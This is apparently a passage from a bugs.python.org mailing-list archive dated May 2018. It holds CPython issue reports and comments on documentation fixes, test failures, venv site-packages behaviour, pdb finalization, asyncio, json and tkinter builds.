(miss-islington) Date: Thu, 10 May 2018 13:39:09 +0000 Subject: [issue26701] Documentation for int constructor mentions __int__ but not __trunc__ In-Reply-To: <1459933312.1.0.479151701513.issue26701@psf.upfronthosting.co.za> Message-ID: <1525959549.21.0.682650639539.issue26701@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6438 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 09:39:55 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 10 May 2018 13:39:55 +0000 Subject: [issue26701] Documentation for int constructor mentions __int__ but not __trunc__ In-Reply-To: <1459933312.1.0.479151701513.issue26701@psf.upfronthosting.co.za> Message-ID: <1525959595.35.0.682650639539.issue26701@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6439 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 09:48:45 2018 From: report at bugs.python.org (Rick Teachey) Date: Thu, 10 May 2018 13:48:45 +0000 Subject: [issue33453] from __future__ import annotations breaks dataclasses ClassVar and InitVar handling In-Reply-To: <1525901922.71.0.682650639539.issue33453@psf.upfronthosting.co.za> Message-ID: <1525960125.23.0.682650639539.issue33453@psf.upfronthosting.co.za> Rick Teachey added the comment: > Is there any scenario where the following code would be useful... Perhaps if someone, in search of a speedup, were sort of rolling their own lighter-weight equivalent to the typing module (in order to avoid importing the full typing module), but duck typed enough to fool the average type checker? Is that possible? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 09:50:36 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 10 May 2018 13:50:36 +0000 Subject: [issue33455] test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH Message-ID: <1525960236.32.0.682650639539.issue33455@psf.upfronthosting.co.za> New submission from Miro Hron?ok : When we build Python in Fedora, we set LD_LIBRARY_PATH environment variable so the testsuite is run against the currently built Python. However a test added in ef347535f289baad22c0601e12a36b2dcd155c3a (test_specify_environment) spawns a process without passing the environment variables. This means that the new process fails with error while loading shared libraries: libpython3.7m.so.1.0: cannot open shared object file: No such file or directory And the test fails with: test_specify_environment (test.test_posix.TestPosixSpawn) ... /builddir/build/BUILD/Python-3.7.0b4/build/optimized/python: error while loading shared libraries: libpython3.7m.so.1.0: cannot open shared object file: No such file or directory test test_posix failed FAIL ====================================================================== FAIL: test_specify_environment (test.test_posix.TestPosixSpawn) ---------------------------------------------------------------------- Traceback (most recent call last): File "/builddir/build/BUILD/Python-3.7.0b4/Lib/test/test_posix.py", line 1467, in test_specify_environment self.assertEqual(os.waitpid(pid, 0), (pid, 0)) AssertionError: Tuples differ: (11457, 32512) != (11457, 0) First differing element 1: 32512 0 - (11457, 32512) ? ^^^^^ + (11457, 0) ? ^ ---------------------------------------------------------------------- Ran 101 tests in 0.608s FAILED (failures=1, skipped=9) 1 test failed again: test_posix Total duration: 23 min 22 sec Tests result: FAILURE I believe that a fix for this is to copy os.environ, update it with {'foo': 'bar'} and pass that copy. I'll check and send PR if it works. ---------- components: Tests messages: 316363 nosy: hroncok, serhiy.storchaka priority: normal severity: normal status: open title: test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 10:06:37 2018 From: report at bugs.python.org (R. David Murray) Date: Thu, 10 May 2018 14:06:37 +0000 Subject: [issue33449] Documentation for email.charset confusing about the location of constants In-Reply-To: <1525887538.2.0.682650639539.issue33449@psf.upfronthosting.co.za> Message-ID: <1525961197.83.0.682650639539.issue33449@psf.upfronthosting.co.za> R. David Murray added the comment: Can you provide an example of where this occurs in the docs? ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 10:38:09 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 10 May 2018 14:38:09 +0000 Subject: [issue26701] Documentation for int constructor mentions __int__ but not __trunc__ In-Reply-To: <1459933312.1.0.479151701513.issue26701@psf.upfronthosting.co.za> Message-ID: <1525963089.48.0.682650639539.issue26701@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 22df4187c3882c6ec67180902e1151e65b03aee0 by Miss Islington (bot) in branch '3.7': bpo-26701: Tweak the documentation for special methods in int(). (GH-6741) https://github.com/python/cpython/commit/22df4187c3882c6ec67180902e1151e65b03aee0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 10:38:23 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 10 May 2018 14:38:23 +0000 Subject: [issue26701] Documentation for int constructor mentions __int__ but not __trunc__ In-Reply-To: <1459933312.1.0.479151701513.issue26701@psf.upfronthosting.co.za> Message-ID: <1525963103.07.0.682650639539.issue26701@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 7488c79b600cd173b0ccea13adb567d078e7b835 by Miss Islington (bot) in branch '3.6': bpo-26701: Tweak the documentation for special methods in int(). (GH-6741) https://github.com/python/cpython/commit/7488c79b600cd173b0ccea13adb567d078e7b835 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 10:57:34 2018 From: report at bugs.python.org (Lukas Waymann) Date: Thu, 10 May 2018 14:57:34 +0000 Subject: [issue33456] site.py: by default, a virtual environment is *not* isolated from the system-level site-packages directories Message-ID: <1525964254.05.0.682650639539.issue33456@psf.upfronthosting.co.za> New submission from Lukas Waymann : PEP 405 says this: > By default, a virtual environment is entirely isolated from the system-level site-packages directories. > > If the pyvenv.cfg file also contains a key include-system-site-packages with a value of true (not case sensitive), the site module will also add the system site directories to sys.path after the virtual environment site directories. The documentation of the site module (https://docs.python.org/3/library/site.html) says (emphasis added): > If pyvenv.cfg [?] contains the key include-system-site-packages set to anything other than false (case-insensitive), the system-level prefixes will still also be searched for site-packages; *otherwise they won?t*. However, what actually happens in site.py is different: see . The system_site variable is initialized to "true" and doesn't change unless the key include-system-site-packages exists in pyvenv.cfg. I think system_site should be initialized to "false" and the condition in line 468 should be `if system_site.lower() != "false"`. ---------- components: Library (Lib) messages: 316367 nosy: meribold priority: normal severity: normal status: open title: site.py: by default, a virtual environment is *not* isolated from the system-level site-packages directories type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 11:01:32 2018 From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=) Date: Thu, 10 May 2018 15:01:32 +0000 Subject: [issue33455] test.test_posix.TestPosixSpawn::test_specify_environment fails with custom LD_LIBRARY_PATH In-Reply-To: <1525960236.32.0.682650639539.issue33455@psf.upfronthosting.co.za> Message-ID: <1525964492.87.0.682650639539.issue33455@psf.upfronthosting.co.za> Change by Miro Hron?ok : ---------- keywords: +patch pull_requests: +6440 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 11:16:20 2018 From: report at bugs.python.org (Marcel Plch) Date: Thu, 10 May 2018 15:16:20 +0000 Subject: [issue32962] test_gdb fails in debug build with `-mcet -fcf-protection -O0` In-Reply-To: <1519722167.1.0.467229070634.issue32962@psf.upfronthosting.co.za> Message-ID: <1525965380.95.0.682650639539.issue32962@psf.upfronthosting.co.za> Change by Marcel Plch : ---------- keywords: +patch pull_requests: +6441 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 11:30:46 2018 From: report at bugs.python.org (Lukas Waymann) Date: Thu, 10 May 2018 15:30:46 +0000 Subject: [issue33456] site.py: by default, a virtual environment is *not* isolated from the system-level site-packages directories In-Reply-To: <1525964254.05.0.682650639539.issue33456@psf.upfronthosting.co.za> Message-ID: <1525966246.16.0.682650639539.issue33456@psf.upfronthosting.co.za> Change by Lukas Waymann : ---------- keywords: +patch pull_requests: +6442 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 11:42:35 2018 From: report at bugs.python.org (dimi) Date: Thu, 10 May 2018 15:42:35 +0000 Subject: [issue33457] python-config ldflags, PEP 513 and explicit linking to libpython in python extensions Message-ID: <1525966955.19.0.682650639539.issue33457@psf.upfronthosting.co.za> New submission from dimi : The python-config outputs ldflag for explicit linking to libpyhton, which is a good idea in many use cases. However, this is inconsistent with the PEP 513 recommendation for building manylinux1 python extensions (https://www.python.org/dev/peps/pep-0513/) that requires avoiding explicit linking to libpythonX.Y.so.1. ---------- components: Distutils messages: 316368 nosy: dimi, dstufft, eric.araujo priority: normal severity: normal status: open title: python-config ldflags, PEP 513 and explicit linking to libpython in python extensions type: behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 11:49:58 2018 From: report at bugs.python.org (Nick Coghlan) Date: Thu, 10 May 2018 15:49:58 +0000 Subject: [issue33419] Add functools.partialclass In-Reply-To: <1525372292.27.0.682650639539.issue33419@psf.upfronthosting.co.za> Message-ID: <1525967398.06.0.682650639539.issue33419@psf.upfronthosting.co.za> Nick Coghlan added the comment: Marking as closed/later to indicate that we're not going to pursue this in the near term, but it's not out of the question that we might accept a future proposal along these lines. ---------- resolution: -> later stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 13:20:16 2018 From: report at bugs.python.org (Mark Dickinson) Date: Thu, 10 May 2018 17:20:16 +0000 Subject: [issue33448] Output_Typo_Error In-Reply-To: <1525885359.71.0.682650639539.issue33448@psf.upfronthosting.co.za> Message-ID: <1525972816.12.0.682650639539.issue33448@psf.upfronthosting.co.za> Mark Dickinson added the comment: Marking as pending; we can't take this forward without more input from the OP. As far as I can tell, the documentation is perfectly correct here: I suspect that there was a misunderstanding somewhere along the line. ---------- assignee: -> docs at python components: +Documentation nosy: +docs at python resolution: -> not a bug status: open -> pending type: resource usage -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 13:28:43 2018 From: report at bugs.python.org (Martin Teichmann) Date: Thu, 10 May 2018 17:28:43 +0000 Subject: [issue33413] asyncio.gather should not use special Future In-Reply-To: <1525286358.11.0.682650639539.issue33413@psf.upfronthosting.co.za> Message-ID: <1525973323.79.0.682650639539.issue33413@psf.upfronthosting.co.za> Martin Teichmann added the comment: I looked a bit into the details, and found that bpo-30048 created the described weird behavior. There they fixed the problem that a cancel is ignored if a coroutine manages to cancel its own task and return immediately. As shown in the discussion there, this is actually something happening in real code, and is a valid use case. They fixed that by setting a CancelledError as an exception raised by the task, but did not cancel that task (they could have, I tested it, it would pass all tests). But this is just a side show of the fact that we have now four different beasts that can be awaited, and behave differently: coroutines, Futures, Tasks, and _GatheringFutures. I think we should consolidate that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 14:11:39 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 10 May 2018 18:11:39 +0000 Subject: [issue33413] asyncio.gather should not use special Future In-Reply-To: <1525286358.11.0.682650639539.issue33413@psf.upfronthosting.co.za> Message-ID: <1525975899.25.0.682650639539.issue33413@psf.upfronthosting.co.za> Change by Ned Deily : ---------- components: +asyncio nosy: +asvetlov, yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 14:12:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 18:12:20 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525975940.08.0.682650639539.issue33012@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6444 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 14:14:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 10 May 2018 18:14:01 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1525976041.39.0.682650639539.issue33012@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I think it safer to silence this kind of warnings in 3.7 and 3.6. PR 6757 does this. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 14:33:12 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 10 May 2018 18:33:12 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1525977192.07.0.682650639539.issue28556@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- pull_requests: +6445 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 14:58:01 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Thu, 10 May 2018 18:58:01 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1525978681.79.0.682650639539.issue28556@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- pull_requests: +6446 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 16:08:48 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Thu, 10 May 2018 20:08:48 +0000 Subject: [issue13044] pdb throws AttributeError at end of debugging session In-Reply-To: <1316968582.76.0.94343164649.issue13044@psf.upfronthosting.co.za> Message-ID: <1525982928.87.0.682650639539.issue13044@psf.upfronthosting.co.za> Xavier de Gaye added the comment: Actually the segfault can be avoided by running the garbage collection before _PyState_ClearModules() in PyImport_Cleanup() and one can trace the C destructor with the attached patch global_destructors.diff applied on top of PR 6730. _PyState_ClearModules() clears the state->modules_by_index list and causes the readline module to be non-functional. The same problem occurs in test_create_at_shutdown_without_encoding() in test_io.py when it is run with the io module: the C destructor fails before hitting the "LookupError: unknown encoding: ascii" error message because the garbage collection is made after _PyState_ClearModules() and the _io module is non-functional (PyState_FindModule() returns NULL). So the destructors can be traced during finalization provided the tracer does not access any of the sys attributes that are set to None at the start of PyImport_Cleanup(). This is true for the globals of the modules that are only owned by sys.modules at the time 'weaklist' is about to be built in PyImport_Cleanup(). But it is not the case of '_ag' and that explains at last why the destructor was called and failed: '_ag' is a global of the types module which is owned (imported) by the inspect module, which is owned (imported) by the bdb module which is owned by PyThreadState through its c_profileobj member. So the types module, and all modules imported directly or indirectly by pdb, can only be cleared at the end of PyImport_Cleanup() when 'weaklist' is browsed for the last modules to clear. At that point any module may be non-functional and tracing must not be allowed. The global_destructors.diff patch ensures that no access is made by the pdb and bdb modules (but imported modules have not been checked) to the the sys attributes that are set to None at the start of PyImport_Cleanup(): * Pdb.lookupmodule() accesses sys.path and is used to set breakpoints so we forbid setting breakpoint when sys.path is None. * All the values of sys.modules are set to None when 'weaklist' is built. This causes the lazy imports to fail and the patch removes them except the lazy import of pydoc in pdb.py because pydoc imports threading and when threading has been imported wait_for_thread_shutdown() in Py_FinalizeEx() runs the threading._shutdown() Python code which is traced (this happens in Python 3.6 too whenever threading is imported). Since it is annoying to systematically trace this function and pydoc is a heavy module, pdb.help() is disabled on Python finalization. ---------- Added file: https://bugs.python.org/file47581/global_destructors.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 16:20:07 2018 From: report at bugs.python.org (Francois Labelle) Date: Thu, 10 May 2018 20:20:07 +0000 Subject: [issue33449] Documentation for email.charset confusing about the location of constants In-Reply-To: <1525887538.2.0.682650639539.issue33449@psf.upfronthosting.co.za> Message-ID: <1525983607.27.0.682650639539.issue33449@psf.upfronthosting.co.za> Francois Labelle added the comment: Original poster here (OpenID just wouldn't work anymore). For instance: https://docs.python.org/2/library/email.charset.html Under "class email.charset.Charset" Under "header_encoding" "If the character set must be encoded before it can be used in an email header, this attribute will be set to Charset.QP (for quoted-printable), Charset.BASE64 (for base64 encoding), or Charset.SHORTEST for the shortest of QP or BASE64 encoding. Otherwise, it will be None." ---------- nosy: +quantum.omega at gmail.com -Francois Labelle _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 16:27:37 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Thu, 10 May 2018 20:27:37 +0000 Subject: [issue33458] pdb.run() does not trace destructors of __main__ Message-ID: <1525984057.77.0.682650639539.issue33458@psf.upfronthosting.co.za> New submission from Xavier de Gaye : This issue is a companion to issue 13044. Running with Python 3.6.5 the following code fails with NameError: 1 class C: 2 def __del__(self): 3 print('deleted') 4 5 c = C() 6 x = 1 $ python -m pdb bar.py > ./bar.py(1)() -> class C: (Pdb) break 6 Breakpoint 1 at ./bar.py:6 (Pdb) continue > ./bar.py(6)() -> x = 1 (Pdb) step --Return-- > ./bar.py(6)()->None -> x = 1 (Pdb) step --Return-- > (1)()->None (Pdb) step > /usr/lib/python3.6/bdb.py(438)run() -> self.quitting = True (Pdb) step The program finished and will be restarted Exception ignored in: > Traceback (most recent call last): File "./bar.py", line 3, in __del__ print('deleted') NameError: name 'print' is not defined > ./bar.py(1)() -> class C: (Pdb) ---------- components: Library (Lib) messages: 316375 nosy: xdegaye priority: normal severity: normal status: open title: pdb.run() does not trace destructors of __main__ type: behavior versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 16:33:14 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Thu, 10 May 2018 20:33:14 +0000 Subject: [issue33458] pdb.run() does not trace destructors of __main__ In-Reply-To: <1525984057.77.0.682650639539.issue33458@psf.upfronthosting.co.za> Message-ID: <1525984394.0.0.682650639539.issue33458@psf.upfronthosting.co.za> Xavier de Gaye added the comment: The following patch fixes the problem when applied applied on top of PR 6730: diff --git a/Lib/bdb.py b/Lib/bdb.py index c6a10359ac..07231ec588 100644 --- a/Lib/bdb.py +++ b/Lib/bdb.py @@ -582,7 +582,7 @@ class Bdb: cmd = compile(cmd, "", "exec") sys.settrace(self.trace_dispatch) try: - exec(cmd, globals, locals) + exec(cmd, dict(globals), dict(locals)) except BdbQuit: pass finally: ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 16:36:35 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Thu, 10 May 2018 20:36:35 +0000 Subject: [issue13044] pdb throws AttributeError at end of debugging session In-Reply-To: <1316968582.76.0.94343164649.issue13044@psf.upfronthosting.co.za> Message-ID: <1525984595.29.0.682650639539.issue13044@psf.upfronthosting.co.za> Xavier de Gaye added the comment: See also issue 33458 that deals with the same problem when pdb is run as 'python -m pdb some_main.py' instead of by inserting a breakpoint with 'pdb.set_trace()'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 17:17:45 2018 From: report at bugs.python.org (R. David Murray) Date: Thu, 10 May 2018 21:17:45 +0000 Subject: [issue33449] Documentation for email.charset confusing about the location of constants In-Reply-To: <1525887538.2.0.682650639539.issue33449@psf.upfronthosting.co.za> Message-ID: <1525987065.19.0.682650639539.issue33449@psf.upfronthosting.co.za> R. David Murray added the comment: Ah, I see. Yes, those strings are actually hardcoded in the documentation source instead of being references. You are correct, they should be fixed. Note, however, that Charset is part of the legacy API and isn't actually used if you use the new API in python3. ---------- stage: -> needs patch type: enhancement -> behavior versions: -Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 17:27:50 2018 From: report at bugs.python.org (Brad Nelson) Date: Thu, 10 May 2018 21:27:50 +0000 Subject: [issue31670] Associate .wasm with application/wasm In-Reply-To: <1507011746.68.0.213398074469.issue31670@psf.upfronthosting.co.za> Message-ID: <1525987670.99.0.682650639539.issue31670@psf.upfronthosting.co.za> Brad Nelson added the comment: We have a provisional registration for application/wasm now with IANA: https://www.iana.org/assignments/provisional-standard-media-types/provisional-standard-media-types.xhtml This is also shipping in Firefox and Chrome. Would it be possible to merge this? Thanks! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 19:16:52 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 10 May 2018 23:16:52 +0000 Subject: [issue33459] Fix "tuple display" mention in Expressions Message-ID: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> New submission from Andr?s Delfino : Expressions mentions "tuple displays" in 6.16 (Operator precedence). AFAIK, there ano "tuple displays". Expressions mentions list, dict, and set displays, and then talks about generator expressions. I guess "parenthesized expressions" should be the term that fits here? ---------- assignee: docs at python components: Documentation messages: 316380 nosy: adelfino, docs at python priority: normal severity: normal status: open title: Fix "tuple display" mention in Expressions type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 19:17:21 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Thu, 10 May 2018 23:17:21 +0000 Subject: [issue33459] Fix "tuple display" mention in Expressions In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1525994241.44.0.682650639539.issue33459@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6447 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 19:33:17 2018 From: report at bugs.python.org (Lew Kurtz) Date: Thu, 10 May 2018 23:33:17 +0000 Subject: [issue33460] ... used to indicate many different things in chapter 3, some are confusing Message-ID: <1525995197.73.0.682650639539.issue33460@psf.upfronthosting.co.za> New submission from Lew Kurtz : https://docs.python.org/3/tutorial/introduction.html uses ... to mean 5 or 6 different things. Since ... is continuation prompt, some of these other uses on that page are confusing - at least they were to this newbie. The most confusing are where it is used to hide output in the error messages. If someone has the patience to send me pointers on how to fix this, I would love to fix this myself. -Lew ps. the section headers in chapter 3 also need some work, 3.1.1 is the only section that is really about python being a calculator 3.1.2 and 3.1.3 don't seem very 'calculator-y' - Id like to fix this too. ---------- assignee: docs at python components: Documentation messages: 316381 nosy: docs at python, lew18 priority: normal severity: normal status: open title: ... used to indicate many different things in chapter 3, some are confusing type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 19:36:48 2018 From: report at bugs.python.org (R. David Murray) Date: Thu, 10 May 2018 23:36:48 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1525995408.65.0.682650639539.issue33459@psf.upfronthosting.co.za> R. David Murray added the comment: Nope, a tuple display is not equal to a parenthesized list. For example, in: x = 1, 2, 3 1, 2, 3 is a tuple display. The parenthesis are optional in that case (in the general case it is the comma that makes the tuple, not the parens). However, as far as I can see that's the only mention of "tuple display" in the docs, which makes the doc you reference less than useful to a reader that doesn't know what it means. ---------- nosy: +r.david.murray title: Fix "tuple display" mention in Expressions -> Define "tuple display" in the docs _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 19:47:23 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Thu, 10 May 2018 23:47:23 +0000 Subject: [issue33459] Define "tuple display" in the docs In-Reply-To: <1525994212.08.0.682650639539.issue33459@psf.upfronthosting.co.za> Message-ID: <1525996043.78.0.682650639539.issue33459@psf.upfronthosting.co.za> Cheryl Sabella added the comment: Actually, 'tuple display' is in the index under 'display' and links to the last paragraph in 6.2.3. However, except for the index name, that paragraph doesn't use the phrase 'tuple display'. So it gives the definition without saying what it is defining. > Note that tuples are not formed by the parentheses, but rather by use of the comma operator. The exception is the empty tuple, for which parentheses are required ? allowing unparenthesized ?nothing? in expressions would cause ambiguities and allow common typos to pass uncaught. ---------- nosy: +csabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 20:29:12 2018 From: report at bugs.python.org (Ethan Smith) Date: Fri, 11 May 2018 00:29:12 +0000 Subject: [issue33351] Support compiling with clang-cl on Windows In-Reply-To: <1524631004.17.0.682650639539.issue33351@psf.upfronthosting.co.za> Message-ID: <1525998552.81.0.682650639539.issue33351@psf.upfronthosting.co.za> Change by Ethan Smith : ---------- keywords: +patch pull_requests: +6448 stage: test needed -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 22:31:13 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 11 May 2018 02:31:13 +0000 Subject: [issue33461] json.loads(encoding=) does not emit deprecation warning. Message-ID: <1526005873.13.0.682650639539.issue33461@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : The `encoding` keyword of json.loads is ignored and deprecated. AFAICT this is since Python 3.1. Passing a value for encoding does not emit a deprecation warning. ---------- messages: 316384 nosy: mbussonn priority: normal severity: normal status: open title: json.loads(encoding=) does not emit deprecation warning. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 22:44:21 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 11 May 2018 02:44:21 +0000 Subject: [issue33461] json.loads(encoding=) does not emit deprecation warning. In-Reply-To: <1526005873.13.0.682650639539.issue33461@psf.upfronthosting.co.za> Message-ID: <1526006661.22.0.682650639539.issue33461@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6449 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 23:02:18 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Fri, 11 May 2018 03:02:18 +0000 Subject: [issue29204] Add code deprecations in ElementTree In-Reply-To: <1483874003.49.0.675614316595.issue29204@psf.upfronthosting.co.za> Message-ID: <1526007738.14.0.682650639539.issue29204@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- pull_requests: +6450 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 23:27:10 2018 From: report at bugs.python.org (dplusplus) Date: Fri, 11 May 2018 03:27:10 +0000 Subject: [issue31817] Compilation Error with Python 3.6.1/3.6.3 with Tkinter In-Reply-To: <1508407674.96.0.213398074469.issue31817@psf.upfronthosting.co.za> Message-ID: <1526009230.09.0.682650639539.issue31817@psf.upfronthosting.co.za> dplusplus added the comment: I am trying to build Python 3.6.5 from source, with Tcl 8.6.8 and Tk 8.6.8, and I get the same issue (Building on Ubuntu 18.04, tried with GCC 7.3 and 8.1 with same results). Run 'readelf -d` on 'build/lib.linux-x86_64-3.6/_tkinter.cpython-36m-x86_64-linux-gnu_failed.so' and I get three NEEDED entries: 0x0000000000000001 (NEEDED) Shared library: [libpython3.6m.so.1.0] 0x0000000000000001 (NEEDED) Shared library: [libpthread.so.0] 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] Tcl and Tk libraries are not listed as needed shared libraries, which explains why settings runpaths (which I tried by setting CFLAGS) does not seem to work. I'm comparing this to the ELF entries in Ubuntu's Python 3.6.5 tkinter module '/usr/lib/python3.6/lib-dynload/_tkinter.cpython-36m-x86_64-linux-gnu.so', which does have NEEDED entries for tcl8.6.so and tk8.6.so. ---------- nosy: +dplusplus -6598335 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 23:30:18 2018 From: report at bugs.python.org (Michael Selik) Date: Fri, 11 May 2018 03:30:18 +0000 Subject: [issue33462] reversible dict Message-ID: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> New submission from Michael Selik : Now that dicts are tracking insertion order, they can be made reversible via the built-in reversed, just like OrderedDict. ---------- messages: 316386 nosy: selik priority: normal severity: normal status: open title: reversible dict type: enhancement _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 10 23:31:03 2018 From: report at bugs.python.org (Michael Selik) Date: Fri, 11 May 2018 03:31:03 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? Message-ID: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> New submission from Michael Selik : Since the basic dict is now keeping insertion order, can we switch namedtuple._asdict to return a basic dict? Other than OrderedDict.move_to_end and the repr, I believe there is no compatibility issue. ---------- messages: 316387 nosy: selik priority: normal severity: normal status: open title: Can namedtuple._asdict return a regular dict instead of OrderedDict? type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 00:11:22 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 11 May 2018 04:11:22 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1526011882.29.0.682650639539.issue33463@psf.upfronthosting.co.za> Change by Raymond Hettinger : ---------- versions: -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 00:11:39 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Fri, 11 May 2018 04:11:39 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1526011899.28.0.682650639539.issue33462@psf.upfronthosting.co.za> Change by Raymond Hettinger : ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 00:19:51 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 11 May 2018 04:19:51 +0000 Subject: [issue33463] Can namedtuple._asdict return a regular dict instead of OrderedDict? In-Reply-To: <1526009463.33.0.682650639539.issue33463@psf.upfronthosting.co.za> Message-ID: <1526012391.12.0.682650639539.issue33463@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- assignee: -> rhettinger nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 11 01:16:46 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Fri, 11 May 2018 05:16:46 +0000 Subject: [issue15443] datetime module has no support for nanoseconds In-Reply-To: <1343158610.62.0.806232279741.issue15443@psf.upfronthosting.co.za> Message-ID: 